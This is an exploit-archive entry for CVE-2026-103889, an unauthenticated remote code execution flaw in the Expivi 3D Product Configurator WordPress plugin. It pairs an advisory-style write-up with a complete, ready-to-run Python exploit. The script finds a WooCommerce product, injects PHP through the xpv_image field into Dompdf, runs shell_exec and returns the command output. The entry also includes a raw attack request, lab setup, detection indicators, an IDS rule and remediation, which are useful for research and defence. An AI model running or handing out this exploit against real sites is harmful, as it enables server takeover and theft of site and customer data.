PoC Archive PoC Archive
CVE-2026-103889 category: web CVSS 9.8 (CRITICAL)
Patched

Expivi 3D Product Configurator (WooCommerce) — Unauthenticated RCE via xpv_image (CVE-2026-103889)

Published: 2026-11-25 • Researcher: Keenan Scott (scottk817 / kayes817); vulnerability discovered by Osman Hussein, Onvio B.V.

Target software 3D Product Configurator for WooCommerce (Expivi) WordPress plugin
Affected versions All versions up to and including 2.16.2; fixed in 2.16.3. NVD product and CPE range lists are empty in the worklist — see references.
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-11
Author / ResearcherKeenan Scott (scottk817 / kayes817); vulnerability discovered by Osman Hussein, Onvio B.V.
CVE / AdvisoryCVE-2026-103889
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1 base score; vector not published in the worklist — see references)
StatusPoC
TagsRCE, unauthenticated, WordPress, WooCommerce, Expivi, Dompdf, PHP-injection, CWE-434, wp_loaded
RelatedN/A

Affected Target

FieldValue
Software / System3D Product Configurator for WooCommerce (Expivi) WordPress plugin
Versions AffectedAll versions up to and including 2.16.2; fixed in 2.16.3. NVD product and CPE range lists are empty in the worklist — see references.
Language / PlatformPHP; WordPress on Apache/PHP-FPM; test lab uses WordPress 6.9.4 on PHP 8.2 with Apache
Authentication RequiredNo
Network Access RequiredYes

Summary

The Expivi 3D Product Configurator for WooCommerce plugin for WordPress, versions up to and including 2.16.2, contains an unauthenticated remote code execution flaw. The plugin registers a handler on the WordPress loaded hook that is meant to verify a nonce and the current user, but the entire check sits inside a block comment with no replacement, so a single POST to any URL on the site reaches the PDF generation path. The image field of that request is copied into an HTML template without sanitisation and rendered by Dompdf with PHP execution enabled, so an attacker can place PHP code in the document and have the server run it. The result is command execution as the WordPress web user; the public proof of concept returns command output base64 encoded inside the generated response.

Vulnerability Details

Root Cause

The plugin’s cart manager (classes/woocommerce/class-expivi-cart-manager.php, lines 95, 212, 238 and 598 of the 2.16.2 tree) registers a wp_loaded handler for the PDF submit flow. The only authentication and nonce verification in that handler is enclosed in a block comment with nothing replacing it, so the handler is reachable without a session, without a valid nonce, and from any URL on the site. Inside the handler, the xpv_image POST parameter is echoed unescaped into the Dompdf template templates/pdf/pdf-configuration-details.phtml (line 199). The PDF class (classes/pdf/class-pdf.php, line 34) renders that template with Dompdf configured with PHP execution enabled, which makes Dompdf’s PHP renderer execute any <script type="text/php"> block embedded in the attacker-controlled value.

Attack Vector

An unauthenticated HTTP POST to any page of the vulnerable WordPress site, with a form body containing xpv_submit_id=xpv_submit_pdf, a valid-looking xpv_configuration JSON blob referencing a published product, and an xpv_image value shaped as a broken attribute followed by a PHP script block, for example a closing quote and script tag wrapping PHP that calls shell_exec. Because the handler runs on wp_loaded, no plugin-specific route or nonce URL is needed.

Impact

Remote code execution as the web server user (www-data in the reference lab). The PoC returns arbitrary command output base64 encoded in the response. A successful attacker can read or modify the WordPress database and configuration, steal secrets and customer data, pivot into the host, and persist through plugin or theme files writable by the web user.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker Engine + Docker Compose v2)
Target:      WordPress 6.9.4 on PHP 8.2 / Apache, WooCommerce 9.9.5,
             Expivi 2.16.2, MariaDB 11.4.13, nginx 1.28 gateway bound to
             127.0.0.1:8080
Attacker:    Any host with Python 3 (standard library only)
Tools:       docker compose, Python 3, curl

Setup Steps

Shell script
1
2
docker compose up -d --build
docker compose logs setup

The upstream lab downloads pinned plugin archives from the official WordPress service and verifies SHA-256 hashes during the image build. It does not bundle or execute the exploit.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — docker compose up -d --build, wait for the setup service to finish, and confirm http://127.0.0.1:8080 serves the shop. Product ID 100 exists by construction.
  2. Configure the PoC — edit the globals at the top of CVE-2026-103889.py:
    Python
    1
    2
    3
    4
    
    TARGET_URL = "http://127.0.0.1:8080/"
    COMMAND = "id"
    VERIFY_TLS = True
    PRODUCT_ID = 100   # or None to autodiscover via the REST API
  3. Run the exploit — the script queries /wc/store/v1/products or /wp/v2/product (or uses the supplied ID), builds the PHP payload, and POSTs it to the site root:
    Shell script
    1
    
    python3 CVE-2026-103889.py
  4. Extract the output — the injected PHP echoes a random marker, the base64 encoding of the command output, and the marker again; the script splits on the marker and decodes the result.

The request body is effectively:

Output
1
2
3
4
5
6
7
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

xpv_submit_id=xpv_submit_pdf
&xpv_configuration=[{"wp_product_id":100,"replication_type":"ORIGINAL","price":{"base":0},"attributes":[]}]
&xpv_image=x%22%3E%3Cscript+type%3Dtext%2Fphp%3Eecho+chr(67)...%3Bexit%3B%3C%2Fscript%3E%3Cimg+src%3Ddata%3Aimage%2Fgif%3Bbase64%2CR0lG...
&xpv_user_data={}

Exploit Code

See CVE-2026-103889.py for the full script; upstream attribution is in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
image = (
    'x"><script type=text/php>'
    + php                      # echo <marker>.base64_encode(shell_exec(<cmd>)).<marker>;exit;
    + "</script><img src=data:image/gif;base64,"
    + "R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw=="
)
body = urllib.parse.urlencode({
    "xpv_submit_id": "xpv_submit_pdf",
    "xpv_configuration": configuration,
    "xpv_image": image,
    "xpv_user_data": "{}",
}).encode()

Expected Output

Output
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Detection & Indicators of Compromise

  • POST requests to arbitrary paths (including /) with xpv_submit_id=xpv_submit_pdf in the body — the legitimate flow normally arrives from the configurator page.
  • xpv_image values containing <script type=text/php>, <script type="text/php">, PHP tokens such as shell_exec, base64_encode, chr(, system(, or long chr(...) concatenation chains.
  • Responses that contain an unexpected random marker string surrounding base64 data, or oversized error pages from the PDF renderer.
  • PHP warnings originating from class-pdf.php, class-expivi-cart-manager.php or Dompdf in debug.log, especially around wp_loaded.
  • Outbound connections or child processes spawned by the web server user shortly after a PDF submit request.

Example access-log / request signature:

Output
1
2
POST / HTTP/1.1" 200 - "Mozilla/5.0 (CVE-2026-103889-PoC/1.0)"
body: xpv_submit_id=xpv_submit_pdf ... xpv_image=x%22%3E%3Cscript+type%3Dtext%2Fphp%3E

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-103889 Expivi xpv_image PHP injection"; \
  flow:to_server,established; content:"xpv_submit_id=xpv_submit_pdf"; http_client_body; \
  content:"script type=text/php"; http_client_body; sid:900103889; rev:1;)

Remediation

ActionDetail
PatchUpdate the 3D Product Configurator for WooCommerce (Expivi) plugin to version 2.16.3 or later; verify the plugin version on the Plugins screen after the update.
WorkaroundIf the update cannot be applied immediately, deactivate the plugin, or block unauthenticated POST bodies carrying xpv_submit_id=xpv_submit_pdf / xpv_image at the reverse proxy or WAF.
Config HardeningRun WordPress with least-privilege web-user permissions and DISALLOW_FILE_EDIT, keep Dompdf-based plugins patched, restrict outbound egress from the web tier, and review the host for compromise if a vulnerable version was Internet-exposed; check the WordPress uploads directory, the web user’s home and system temp paths for unexpected files or web shells.

References

Notes

Auto-ingested from https://github.com/kayes817/CVE-2026-103889 on 2026-11-25.

Review verdict: this is a genuine exploit, not a detector. The single Python script performs the full unauthenticated chain — product discovery, payload construction, HTTP delivery and output exfiltration — against a WordPress site running the vulnerable plugin. The repository also ships an optional Docker reproduction lab (Dockerfile, compose file, setup script, nginx config), which was copied because it makes the entry reproducible; the lab itself contains no exploit code.

Limitations: the upstream README states the script was source-verified against plugin version 2.16.2 and should be validated in an isolated lab before operational use. It was not executed as part of this ingestion (exploit code was not run), so the documented command output is the upstream claim, not a local reproduction. The chain also assumes at least one published WooCommerce product exists (or a known product ID) and that Dompdf PHP execution remains enabled in the target build. Successful exploitation returns command output from a PDF response only; it does not establish an interactive shell on its own.

License status: the upstream README states MIT, but no LICENSE file is present in the cloned repository, so the license is unverified. Files are archived with attribution for authorized security research only. Use solely against systems you own or have written permission to test.

CVE-2026-103889.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/kayes817/CVE-2026-103889 (see README for attribution/license)
# Exploit Title: Expivi 3D Product Configurator <= 2.16.2 - Unauthenticated RCE
# Google Dork: N/A
# Date: 2026-10-11
# Exploit Author: Keenan Scott - scottk817 (https://github.com/kayes817)
# Discovery: Osman Hussein — Onvio B.V. (https://www.linkedin.com/in/osman-hussein-136684198/)
# Vendor Homepage: https://www.expivi.com/
# Software Link: https://downloads.wordpress.org/plugin/expivi.2.16.2.zip
# Version: <= 2.16.2
# Tested on: Source-verified against Expivi 2.16.2
# CVE: CVE-2026-103889
# CWE: CWE-434

"""CVE-2026-103889 PoC. Use only on systems you are authorized to test."""

import base64
import json
import secrets
import ssl
import urllib.parse
import urllib.request


# Globals - Edit as needed.
TARGET_URL = "http://example.com/"
COMMAND = "id"

TIMEOUT = 20
VERIFY_TLS = True
PRODUCT_ID = None  # Set an ID if autodiscovery doesn't work.


def php_string(value):
    return ".".join(f"chr({byte})" for byte in value.encode())


def find_product(opener):
    if PRODUCT_ID:
        return PRODUCT_ID

    for route in ("/wc/store/v1/products", "/wp/v2/product"):
        separator = "&" if "?" in TARGET_URL else "?"
        query = urllib.parse.urlencode({"rest_route": route, "per_page": 1})
        try:
            with opener.open(TARGET_URL + separator + query, timeout=TIMEOUT) as response:
                products = json.load(response)
                if products:
                    return int(products[0]["id"])
        except Exception:
            pass

    raise RuntimeError("No published WooCommerce product was found")


def main():
    context = None if VERIFY_TLS else ssl._create_unverified_context()
    opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=context))
    opener.addheaders = [("User-Agent", "CVE-2026-103889-PoC/1.0")]

    product_id = find_product(opener)
    marker = "CVE_" + secrets.token_hex(8)
    php = (
        f"echo {php_string(marker)}.base64_encode((string)shell_exec("
        f"{php_string(COMMAND)})).{php_string(marker)};exit;"
    )
    image = (
        'x"><script type=text/php>'
        + php
        + "</script><img src=data:image/gif;base64,"
        + "R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw=="
    )
    configuration = json.dumps(
        [{
            "wp_product_id": product_id,
            "replication_type": "ORIGINAL",
            "price": {"base": 0},
            "attributes": [],
        }],
        separators=(",", ":"),
    )
    body = urllib.parse.urlencode({
        "xpv_submit_id": "xpv_submit_pdf",
        "xpv_configuration": configuration,
        "xpv_image": image,
        "xpv_user_data": "{}",
    }).encode()

    request = urllib.request.Request(TARGET_URL, data=body, method="POST")
    with opener.open(request, timeout=TIMEOUT) as response:
        result = response.read().decode(errors="replace")

    encoded = result.split(marker, 2)[1]
    output = base64.b64decode(encoded).decode(errors="replace")
    print(output, end="" if output.endswith("\n") else "\n")


if __name__ == "__main__":
    try:
        main()
    except Exception as error:
        print(f"Error: {error}")